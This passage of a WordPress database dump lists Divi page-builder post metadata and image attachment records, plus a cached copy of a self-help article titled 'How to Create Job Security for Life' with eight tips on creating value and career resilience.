03:26:50'),(2143,799,'_et_builder_version','VB|Divi|4.0.9'),(2144,799,'_et_pb_show_page_creation','off'),(2145,804,'_edit_lock','1603324509:1'),(2146,804,'_edit_last','1'),(2147,804,'_et_pb_post_hide_nav','default'),(2148,804,'_et_pb_page_layout','et_right_sidebar'),(2149,804,'_et_pb_side_nav','off'),(2150,804,'_et_pb_use_builder','on'),(2151,804,'_et_pb_built_for_post_type','page'),(2152,804,'_et_pb_ab_subjects',''),(2153,804,'_et_pb_enable_shortcode_tracking',''),(2154,804,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"804\" /]'),(2155,804,'_et_pb_custom_css',''),(2156,804,'_et_pb_gutter_width','3'),(2157,804,'_thumbnail_id',''),(2158,804,'_et_pb_first_image',''),(2159,804,'_et_pb_truncate_post',''),(2160,804,'_et_pb_truncate_post_date',''),(2161,804,'_et_builder_version','VB|Divi|4.0.9'),(2162,804,'_et_pb_show_page_creation','off'),(2163,809,'_edit_lock','1603393485:1'),(2164,809,'_edit_last','1'),(2165,809,'_et_pb_post_hide_nav','default'),(2166,809,'_et_pb_page_layout','et_right_sidebar'),(2167,809,'_et_pb_side_nav','off'),(2168,809,'_et_pb_use_builder','on'),(2169,812,'_edit_lock','1603402810:1'),(2170,812,'_edit_last','1'),(2171,812,'_et_pb_post_hide_nav','default'),(2172,812,'_et_pb_page_layout','et_right_sidebar'),(2173,812,'_et_pb_side_nav','off'),(2174,812,'_et_pb_use_builder','on'),(2175,812,'_et_pb_built_for_post_type','page'),(2176,812,'_et_pb_ab_subjects',''),(2177,812,'_et_pb_enable_shortcode_tracking',''),(2178,812,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"812\" /]'),(2179,812,'_et_pb_custom_css',''),(2180,812,'_et_pb_gutter_width','3'),(2181,812,'_thumbnail_id',''),(2182,812,'_et_pb_first_image',''),(2183,812,'_et_pb_truncate_post','<div class=\"et_pb_section et_pb_section_3 et_section_regular\">\n				\n				\n				\n				\n					<div class=\"et_pb_row et_pb_row_6\">\n				<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_6  et_pb_css_mix_blend_mode_passthrough et-last-child\">\n				\n				\n				<div class=\"et_pb_module et_pb_text et_pb_text_6  et_pb_text_align_left et_pb_bg_layout_light\">\n				\n				\n				<div class=\"et_pb_text_inner\">How to Create Job Security for Life</div>\n			</div> <!-- .et_pb_text -->\n			</div> <!-- .et_pb_column -->\n				\n				\n			</div> <!-- .et_pb_row --><div class=\"et_pb_row et_pb_row_7\">\n				<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_7  et_pb_css_mix_blend_mode_passthrough et-last-child\">\n				\n				\n				<div class=\"et_pb_module et_pb_text et_pb_text_7  et_pb_text_align_left et_pb_bg_layout_light\">\n				\n				\n				<div class=\"et_pb_text_inner\"><p> A lifetime ago I worked with a woman we’ll call Martha, who flew into a minor rage when she learned that a co-worker from another department was promoted over her.<br />\nHer reaction surprised me, not because we were in the middle of a full staff meeting, but because she was the opposite of a model employee—doing the bare minimum, arguing with the boss, and nipping at a bottle of rum in her desk drawer (only on special occasions, of course).<br />\nBut Martha had seniority, and in her worldview, she was entitled to that promotion. Sadly, “I’m entitled to a salary,” is a popular belief that just doesn’t jibe with reality.<br />\nOf course, I’m not speaking to a Martha, I’m speaking to a sophisticated achiever who knows that your rewards are not tied to how many hours or years you sit in a cubicle.<br />\nThe success metric is: Are you effective?<br />\nIf you can answer, “Yes,” you’ll enjoy job security for life, in any economy, and I’ll wish you well as you sip cognac on your veranda overlooking your 50-acre private island in Fiji.<br />\nBut if you can’t, here’s how you can make yourself more indestructible.<br />\n1. See yourself as a business.<br />\n“There is no real security except for whatever you build inside yourself.” —Gilda Radner<br />\nWhether you own a business or not, you are already an entrepreneur, so start seeing yourself as the CEO of your own personal services corporation.<br />\nWhether you are flipping burgers or leading a 100-person product development team for a tech giant, each day you go to work, you are selling a service to your client (your boss) who determines your level of compensation.<br />\n“See yourself as an independent contractor selling your services back into your company on an hourly rate,” says self-help giant Brian Tracy. “See your current employer as your best client, at the moment.”<br />\nA company that doesn’t make the client happy will be out of business fast. So how do you ensure that, as the leader of your company, you become a purveyor of happiness?<br />\nYou do that by delivering massive value.<br />\n2. Know how to create value.<br />\n“The only true security in life comes from knowing that every single day you are improving yourself… that you are valuable to your company, your friends, and your family.” —Tony Robbins<br />\nSomewhere in high school, between the cafeteria and report cards, we’re handed this neatly packaged worldview that, if you just work hard enough, you can get all that you want in life.<br />\nBut if that were true, high school dropouts working three minimum wage jobs would be as comfortable as CEOs, and all startups would IPO if the founders just work 90-hour weeks.<br />\nThe reality is that you and I are rewarded for the value we create, whether that’s inventing a life-saving medication, or a more perfect fidget spinner.<br />\nWhen you understand how to create value, you’ll be indispensable no matter who signs your paycheck. This means understanding what people value (remember: it’s not always what you value), so start by asking a lot of questions.<br />\nIf your audience is your ideal client, put out a survey, or conduct user interviews. If it’s your boss, ask what is her No. 1 goal?<br />\nIn either case, you won’t always get a straight answer—people are notoriously bad at articulating their true desires—so continue to observe like a scientist in the field.<br />\nHere’s a hint: Above all, every human wants to feel a certain emotion—love, respect, security—so maybe your client wants to write a book not for the money, but to feel heard? Maybe your boss’s primary motivation is to coast into retirement, and not to change the world?<br />\n3. Be a leader in all that you do.<br />\n“Initiative is doing the right thing without being told.” – Victor Hugo<br />\nToo many employees wait for instructions. We all know that person who performed all their duties to the letter, but was laid off anyway. Nine times out of 10 this is because no boss wants to constantly micromanage their staff; they want people who will get busy without a prod.<br />\nInitiative is the domain of the leader. You may be saying to yourself, “But I’m not a leader, nobody has given me that responsibility!” Leadership isn’t a title, silly. It’s a mindset and a choice—to step up, even if that stairway leads outside your job description.<br />\nMaybe you work in a mailroom and see a way to improve a process, or in a cubicle and see a way for the company to go paperless. The leader comes to the boss with solutions. A follower doesn’t even see the opportunities. Which type of person do you think is more protected from layoffs?<br />\n4. Build relationships. (Forget “networking.”)<br />\n“Leave every single person who intersects your path better, happier, and more engaged than you found them.” —Robin Sharma<br />\nAs much as we value the brilliance of the individual, it’s only through relationships that we thrive. Nobody builds a fortune from their hermit cave; even remote workers need to play with the other kids from time to time.<br />\nAs many achievers will tell you, your network is your net worth.<br />\nBut there are two opposing approaches to creating a safety net of supporting connections around you. The first is a dirty word called networking. It involves going to “networking events” where the attendees spend as little time as possible with as many people as they can, and the winner is the one who hands out the most business cards. (I’m dramatizing, but you see the point.)<br />\nNetworkers enter a room with the attitude, “What can I get from these people?”<br />\nThe superior approach is to create a network based on relationships—fewer, but deeper connections; quality over quantity. Relationship builders approach interactions asking, “What can I give?”<br />\nDoes this sound almost like how friendships develop? Bingo. If you choose to work with people you enjoy, your work will feel less like work and more like enjoying the company of friends. Take care to develop true friendships, not just collect business cards.<br />\n5. Do just 5% more than expected.<br />\n“There are no traffic jams on the extra mile.” –Zig Ziglar<br />\nWe love people who give us more than we expect. Bosses raise both eyebrows when a project is finished early and under budget. Customers gush to their friends about that above-and-beyond service. And your romantic partner will never forget that day you planned the scavenger hunt that ended with a surprise dinner at your favorite restaurant surrounded by best friends.<br />\nYou could have just followed the job description, stuck to the refund policy, or microwaved some pizza pockets for your soulmate. But nobody remembers the times you do what’s expected, because that’s the standard that most of us adopt: “good enough.”<br />\nThat’s why it’s so easy to go the extra mile—hardly anybody is driving on that freshly paved, six-lane highway! This need not mean doing more than everyone else; that kind of one-upmanship is a race to burnout.<br />\nSimply rise beyond your own limits. That doesn’t mean doubling your exertions to be outstanding; an extra 5% effort can often generate rave reviews. What does that look like?<br />\nMaybe at home you do the dishes… AND clean out the toaster. At work you finish that research your boss asked for… AND tack on a page of analysis that shows how you can save $50k a year. With your customers, you might register them for the seminar but also throw in six free coaching sessions plus your book.<br />\nWhen you do more than expected, you get a reputation for delivering more value than you are paid to. Your own value rises in turn, and you become that much harder to fire.<br />\n6. Be the smartest person in the room… about just one thing.<br />\n“The only real security that a man can have in this world is a reserve of knowledge, experience and ability.” —Henry Ford<br />\nDo you try to be best at everything at work? The best salesperson and marketer and coder and writer? If that’s your strategy, all your work will be mediocre.<br />\nThere’s nothing wrong with being a jack-of-all-trades (this is a badge that most entrepreneurial-minded folks wear proudly), but there is also power in specialization.<br />\nAsk how you can become a critical linchpin to the organization. How can you collect the knowledge, create the relationships or generate the ideas that none of your colleagues can, at least in one area?<br />\nDo you work in the marketing department and notice that your email campaigns are opened as often as a can of anchovies? Then take an email marketing course and bring new info and solutions—which none of your colleagues have—to the next team meeting.<br />\nYou don’t need to demonstrate 5 out of 5-star performance in all areas of your job description. If you have just one quality that your boss or customer highly values, and can’t live without, then how can they ever let you get away?<br />\n7. Flaunt your good works.<br />\n“Leaders are not modest… these qualities and behaviors are useful for getting hired, achieving promotions, keeping one’s job, and obtaining a higher salary.” —Jeffrey Pfeffer<br />\nThe Western World’s prevailing ethics teaches us that a good deed done is all the sweeter if you downplay it. “Set the table without your parents asking you,” is the one piece of priestly advice that stuck in my brain after Catholic school.<br />\nBetter still if nobody but you knows about it. We get that warm, fuzzy feeling from anecdotes about kind strangers paying for the coffee of the person behind them in the drive-thru.<br />\nThere’s nothing wrong with anonymous generosity, but the benefits multiply if you let people know about your actions. It not only inspires others to do good deeds, but shows people your true character.<br />\nThis is invaluable at work, where job security is on the line. Too many employees do excellent work that goes completely unnoticed, or is taken for granted. If you want to keep your job or your customers, you need to justify your existence from time to time.<br />\nThis doesn’t mean constantly tooting your horn with tales of your heroic deeds; too much self-promotion feels gross and will backfire.<br />\nBut DO drop a subtle and well-timed piece of information here and there with the people that control your fate—your boss, for example. Want to be uber-subtle? Share the information through a third party, like your boss’s assistant, who you know will pass along the message.<br />\n8. Love change. (It’s exciting!)<br />\n“Security is mostly a superstition…. Avoiding danger is no safer in the long run than outright exposure.” —Helen Keller<br />\nHere’s a juicy paradox for you: Those who are least attached to security have it in abundance. That’s because the truly “secure ones” are flexible in their methods for creating wealth and abundance.<br />\nA fixed mindset individual will see only one way to make a living right now: to hang on for dear life to their existing job, with the strategy likely to be: work harder. But no matter how vigorously you rearrange the deck chairs on the Titanic, that thing still might sink.<br />\nEconomies tank. Industries change and companies fold. Hanging onto the dream that manufacturing is coming back to your city, or the restaurant will be full again by Christmas, or people really do want to drive to a video store to rent a DVD on which they can eventually pay a late fee, can be catastrophic.<br />\nHoping for all to stay the same, including the job you so fear losing, is futile. Change is coming, so you might as well learn to love it.<br />\n“You are already naked,” said Steve Jobs. Learn to love change and embrace the roiling tides. Without change there would be no new life, no growth, no opportunities, no surprises and no excitement in your life.<br />\nThe Future Belongs to the Freelancer<br />\nEven before COVID, the idea of one company guaranteeing you employment for life was a fantasy.<br />\nManufacturing has already fled “South,” automation eliminates $80k per year positions, and disruptive startups restructure entire industries while you sleep. Should we throw up our hands and accept whatever McJob the economy throws us? Heck no!<br />\nOn this frontier there is more opportunity than ever for those with the entrepreneur’s mindset.<br />\nA 2019 study found that more than 35% of the workforce in the United States, or more than 57 million people, are freelancers, and the pandemic certainly bumped that number higher.<br />\nAnd these freelancers are not just dog walkers and Etsy side-hustlers, but many are top performers in their fields.<br />\nThis is not advice to leave your salary behind to strike out on your own. But it is a call to adopt the freelancer/consultant/entrepreneur mindset, because it’s the best way to create invincible job security in any economy, no matter how many crises are swirling in the outside world.</p>\n<p>To read the full article, click here.</div>\n			</div> <!-- .et_pb_text -->\n			</div> <!-- .et_pb_column -->\n				\n				\n			</div> <!-- .et_pb_row -->\n				\n				\n			</div> <!-- .et_pb_section -->\n'),(2184,812,'_et_pb_truncate_post_date','2022-03-11 11:03:09'),(2185,812,'_et_builder_version','VB|Divi|4.0.9'),(2186,812,'_et_pb_show_page_creation','off'),(2187,816,'_edit_lock','1603402985:1'),(2188,816,'_edit_last','1'),(2189,816,'_et_pb_post_hide_nav','default'),(2190,816,'_et_pb_page_layout','et_right_sidebar'),(2191,816,'_et_pb_side_nav','off'),(2192,816,'_et_pb_use_builder','on'),(2193,816,'_et_pb_built_for_post_type','page'),(2194,816,'_et_pb_ab_subjects',''),(2195,816,'_et_pb_enable_shortcode_tracking',''),(2196,816,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"816\" /]'),(2197,816,'_et_pb_custom_css',''),(2198,816,'_et_pb_gutter_width','3'),(2199,816,'_thumbnail_id',''),(2200,816,'_et_pb_first_image',''),(2201,816,'_et_pb_truncate_post',''),(2202,816,'_et_pb_truncate_post_date',''),(2203,816,'_et_builder_version','VB|Divi|4.0.9'),(2204,816,'_et_pb_show_page_creation','off'),(2205,820,'_edit_lock','1603403496:1'),(2206,820,'_edit_last','1'),(2207,820,'_et_pb_post_hide_nav','default'),(2208,820,'_et_pb_page_layout','et_right_sidebar'),(2209,820,'_et_pb_side_nav','off'),(2210,820,'_et_pb_use_builder','on'),(2211,820,'_et_pb_built_for_post_type','page'),(2212,820,'_et_pb_ab_subjects',''),(2213,820,'_et_pb_enable_shortcode_tracking',''),(2214,820,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"820\" /]'),(2215,820,'_et_pb_custom_css',''),(2216,820,'_et_pb_gutter_width','3'),(2217,820,'_thumbnail_id',''),(2218,820,'_et_pb_first_image',''),(2219,820,'_et_pb_truncate_post',''),(2220,820,'_et_pb_truncate_post_date',''),(2221,820,'_et_builder_version','VB|Divi|4.0.9'),(2222,820,'_et_pb_show_page_creation','off'),(2223,824,'_edit_lock','1603405789:1'),(2224,824,'_edit_last','1'),(2225,824,'_et_pb_post_hide_nav','default'),(2226,824,'_et_pb_page_layout','et_right_sidebar'),(2227,824,'_et_pb_side_nav','off'),(2228,824,'_et_pb_use_builder','on'),(2229,824,'_et_pb_built_for_post_type','page'),(2230,824,'_et_pb_ab_subjects',''),(2231,824,'_et_pb_enable_shortcode_tracking',''),(2232,824,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"824\" /]'),(2233,824,'_et_pb_custom_css',''),(2234,824,'_et_pb_gutter_width','3'),(2235,824,'_thumbnail_id',''),(2236,824,'_et_pb_first_image',''),(2237,824,'_et_pb_truncate_post',''),(2238,824,'_et_pb_truncate_post_date',''),(2239,824,'_et_builder_version','VB|Divi|4.0.9'),(2240,824,'_et_pb_show_page_creation','off'),(2241,828,'_edit_lock','1603407227:1'),(2242,828,'_edit_last','1'),(2243,828,'_et_pb_post_hide_nav','default'),(2244,828,'_et_pb_page_layout','et_right_sidebar'),(2245,828,'_et_pb_side_nav','off'),(2246,828,'_et_pb_use_builder','on'),(2247,828,'_et_pb_built_for_post_type','page'),(2248,828,'_et_pb_ab_subjects',''),(2249,828,'_et_pb_enable_shortcode_tracking',''),(2250,828,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"828\" /]'),(2251,828,'_et_pb_custom_css',''),(2252,828,'_et_pb_gutter_width','3'),(2253,828,'_thumbnail_id',''),(2254,828,'_et_pb_first_image',''),(2255,828,'_et_pb_truncate_post',''),(2256,828,'_et_pb_truncate_post_date',''),(2257,828,'_et_builder_version','VB|Divi|4.0.9'),(2258,828,'_et_pb_show_page_creation','off'),(2259,835,'_wp_attached_file','2020/10/Untitled_Clipping_102320_065109_AM.jpg'),(2260,835,'_wp_attachment_metadata','a:5:{s:5:\"width\";i:1280;s:6:\"height\";i:720;s:4:\"file\";s:46:\"2020/10/Untitled_Clipping_102320_065109_AM.jpg\";s:5:\"sizes\";a:12:{s:6:\"medium\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_102320_065109_AM-300x169.jpg\";s:5:\"width\";i:300;s:6:\"height\";i:169;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:47:\"Untitled_Clipping_102320_065109_AM-1024x576.jpg\";s:5:\"width\";i:1024;s:6:\"height\";i:576;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_102320_065109_AM-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_102320_065109_AM-768x432.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:432;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:21:\"et-pb-post-main-image\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_102320_065109_AM-400x250.jpg\";s:5:\"width\";i:400;s:6:\"height\";i:250;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:31:\"et-pb-post-main-image-fullwidth\";a:4:{s:4:\"file\";s:47:\"Untitled_Clipping_102320_065109_AM-1080x675.jpg\";s:5:\"width\";i:1080;s:6:\"height\";i:675;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:21:\"et-pb-portfolio-image\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_102320_065109_AM-400x284.jpg\";s:5:\"width\";i:400;s:6:\"height\";i:284;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:28:\"et-pb-portfolio-module-image\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_102320_065109_AM-510x382.jpg\";s:5:\"width\";i:510;s:6:\"height\";i:382;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:28:\"et-pb-portfolio-image-single\";a:4:{s:4:\"file\";s:47:\"Untitled_Clipping_102320_065109_AM-1080x608.jpg\";s:5:\"width\";i:1080;s:6:\"height\";i:608;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:35:\"et-pb-gallery-module-image-portrait\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_102320_065109_AM-400x516.jpg\";s:5:\"width\";i:400;s:6:\"height\";i:516;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:31:\"et-pb-image--responsive--tablet\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_102320_065109_AM-980x551.jpg\";s:5:\"width\";i:980;s:6:\"height\";i:551;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:30:\"et-pb-image--responsive--phone\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_102320_065109_AM-480x270.jpg\";s:5:\"width\";i:480;s:6:\"height\";i:270;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"0\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:0:\"\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:1:\"0\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:1:\"0\";s:3:\"iso\";s:1:\"0\";s:13:\"shutter_speed\";s:1:\"0\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}}'),(2261,837,'_edit_lock','1603409655:1'),(2262,837,'_edit_last','1'),(2263,837,'_et_pb_post_hide_nav','default'),(2264,837,'_et_pb_page_layout','et_right_sidebar'),(2265,837,'_et_pb_side_nav','off'),(2266,837,'_et_pb_use_builder','on'),(2267,837,'_et_pb_built_for_post_type','page'),(2268,837,'_et_pb_ab_subjects',''),(2269,837,'_et_pb_enable_shortcode_tracking',''),(2270,837,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"837\" /]'),(2271,837,'_et_pb_custom_css',''),(2272,837,'_et_pb_gutter_width','3'),(2273,837,'_thumbnail_id',''),(2274,837,'_et_pb_first_image',''),(2275,837,'_et_pb_truncate_post',''),(2276,837,'_et_pb_truncate_post_date',''),(2277,837,'_et_builder_version','VB|Divi|4.0.9'),(2278,837,'_et_pb_show_page_creation','off'),(2279,841,'_edit_lock','1603409850:1'),(2280,841,'_edit_last','1'),(2281,841,'_et_pb_post_hide_nav','default'),(2282,841,'_et_pb_page_layout','et_right_sidebar'),(2283,841,'_et_pb_side_nav','off'),(2284,841,'_et_pb_use_builder','on'),(2285,841,'_et_pb_built_for_post_type','page'),(2286,841,'_et_pb_ab_subjects',''),(2287,841,'_et_pb_enable_shortcode_tracking',''),(2288,841,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"841\" /]'),(2289,841,'_et_pb_custom_css',''),(2290,841,'_et_pb_gutter_width','3'),(2291,841,'_thumbnail_id',''),(2292,841,'_et_pb_first_image',''),(2293,841,'_et_pb_truncate_post',''),(2294,841,'_et_pb_truncate_post_date',''),(2295,841,'_et_builder_version','VB|Divi|4.0.9'),(2296,841,'_et_pb_show_page_creation','off'),(2297,809,'_et_pb_built_for_post_type','page'),(2298,809,'_et_pb_ab_subjects',''),(2299,809,'_et_pb_enable_shortcode_tracking',''),(2300,809,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"809\" /]'),(2301,809,'_et_pb_custom_css',''),(2302,809,'_et_pb_gutter_width','3'),(2303,809,'_thumbnail_id',''),(2304,809,'_et_pb_first_image',''),(2305,809,'_et_pb_truncate_post',''),(2306,809,'_et_pb_truncate_post_date',''),(2307,809,'_et_builder_version','VB|Divi|4.0.9'),(2308,809,'_et_pb_show_page_creation','off'),(2309,850,'_wp_attached_file','2020/10/My-Post-17.png'),(2310,850,'_wp_attachment_metadata','a:5:{s:5:\"width\";i:1200;s:6:\"height\";i:628;s:4:\"file\";s:22:\"2020/10/My-Post-17.png\";s:5:\"sizes\";a:12:{s:6:\"medium\";a:4:{s:4:\"file\";s:22:\"My-Post-17-300x157.png\";s:5:\"width\";i:300;s:6:\"height\";i:157;s:9:\"mime-type\";s:9:\"image/png\";}s:5:\"large\";a:4:{s:4:\"file\";s:23:\"My-Post-17-1024x536.png\";s:5:\"width\";i:1024;s:6:\"height\";i:536;s:9:\"mime-type\";s:9:\"image/png\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:22:\"My-Post-17-150x150.png\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:9:\"image/png\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:22:\"My-Post-17-768x402.png\";s:5:\"width\";i:768;s:6:\"height\";i:402;s:9:\"mime-type\";s:9:\"image/png\";}s:21:\"et-pb-post-main-image\";a:4:{s:4:\"file\";s:22:\"My-Post-17-400x250.png\";s:5:\"width\";i:400;s:6:\"height\";i:250;s:9:\"mime-type\";s:9:\"image/png\";}s:31:\"et-pb-post-main-image-fullwidth\";a:4:{s:4:\"file\";s:23:\"My-Post-17-1080x628.png\";s:5:\"width\";i:1080;s:6:\"height\";i:628;s:9:\"mime-type\";s:9:\"image/png\";}s:21:\"et-pb-portfolio-image\";a:4:{s:4:\"file\";s:22:\"My-Post-17-400x284.png\";s:5:\"width\";i:400;s:6:\"height\";i:284;s:9:\"mime-type\";s:9:\"image/png\";}s:28:\"et-pb-portfolio-module-image\";a:4:{s:4:\"file\";s:22:\"My-Post-17-510x382.png\";s:5:\"width\";i:510;s:6:\"height\";i:382;s:9:\"mime-type\";s:9:\"image/png\";}s:28:\"et-pb-portfolio-image-single\";a:4:{s:4:\"file\";s:23:\"My-Post-17-1080x565.png\";s:5:\"width\";i:1080;s:6:\"height\";i:565;s:9:\"mime-type\";s:9:\"image/png\";}s:35:\"et-pb-gallery-module-image-portrait\";a:4:{s:4:\"file\";s:22:\"My-Post-17-400x516.png\";s:5:\"width\";i:400;s:6:\"height\";i:516;s:9:\"mime-type\";s:9:\"image/png\";}s:31:\"et-pb-image--responsive--tablet\";a:4:{s:4:\"file\";s:22:\"My-Post-17-980x513.png\";s:5:\"width\";i:980;s:6:\"height\";i:513;s:9:\"mime-type\";s:9:\"image/png\";}s:30:\"et-pb-image--responsive--phone\";a:4:{s:4:\"file\";s:22:\"My-Post-17-480x251.png\";s:5:\"width\";i:480;s:6:\"height\";i:251;s:9:\"mime-type\";s:9:\"image/png\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"0\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:0:\"\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:1:\"0\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:1:\"0\";s:3:\"iso\";s:1:\"0\";s:13:\"shutter_speed\";s:1:\"0\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}}'),(2311,863,'_edit_lock','1605813398:1'),(2312,863,'_edit_last','1'),(2313,863,'_et_pb_post_hide_nav','default'),(2314,863,'_et_pb_page_layout','et_right_sidebar'),(2315,863,'_et_pb_side_nav','off'),(2316,863,'_et_pb_use_builder','on'),(2317,863,'_et_pb_built_for_post_type','page'),(2318,863,'_et_pb_ab_subjects',''),(2319,863,'_et_pb_enable_shortcode_tracking',''),(2320,863,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"863\" /]'),(2321,863,'_et_pb_custom_css',''),(2322,863,'_et_pb_gutter_width','3'),(2323,863,'_thumbnail_id',''),(2324,863,'_et_pb_first_image',''),(2325,863,'_et_pb_truncate_post',''),(2326,863,'_et_pb_truncate_post_date',''),(2327,863,'_et_builder_version','VB|Divi|4.0.9'),(2328,863,'_et_pb_show_page_creation','off'),(2329,867,'_edit_lock','1605813713:1'),(2330,867,'_edit_last','1'),(2331,867,'_et_pb_post_hide_nav','default'),(2332,867,'_et_pb_page_layout','et_right_sidebar'),(2333,867,'_et_pb_side_nav','off'),(2334,867,'_et_pb_use_builder','on'),(2335,867,'_et_pb_built_for_post_type','page'),(2336,867,'_et_pb_ab_subjects',''),(2337,867,'_et_pb_enable_shortcode_tracking',''),(2338,867,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"867\" /]'),(2339,867,'_et_pb_custom_css',''),(2340,867,'_et_pb_gutter_width','3'),(2341,867,'_thumbnail_id',''),(2342,867,'_et_pb_first_image',''),(2343,867,'_et_pb_truncate_post',''),(2344,867,'_et_pb_truncate_post_date',''),(2345,867,'_et_builder_version','VB|Divi|4.0.9'),(2346,867,'_et_pb_show_page_creation','off'),(2347,872,'_edit_lock','1605813977:1'),(2348,872,'_edit_last','1'),(2349,872,'_et_pb_post_hide_nav','default'),(2350,872,'_et_pb_page_layout','et_right_sidebar'),(2351,872,'_et_pb_side_nav','off'),(2352,872,'_et_pb_use_builder','on'),(2353,872,'_et_pb_built_for_post_type','page'),(2354,872,'_et_pb_ab_subjects',''),(2355,872,'_et_pb_enable_shortcode_tracking',''),(2356,872,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"872\" /]'),(2357,872,'_et_pb_custom_css',''),(2358,872,'_et_pb_gutter_width','3'),(2359,872,'_thumbnail_id',''),(2360,872,'_et_pb_first_image',''),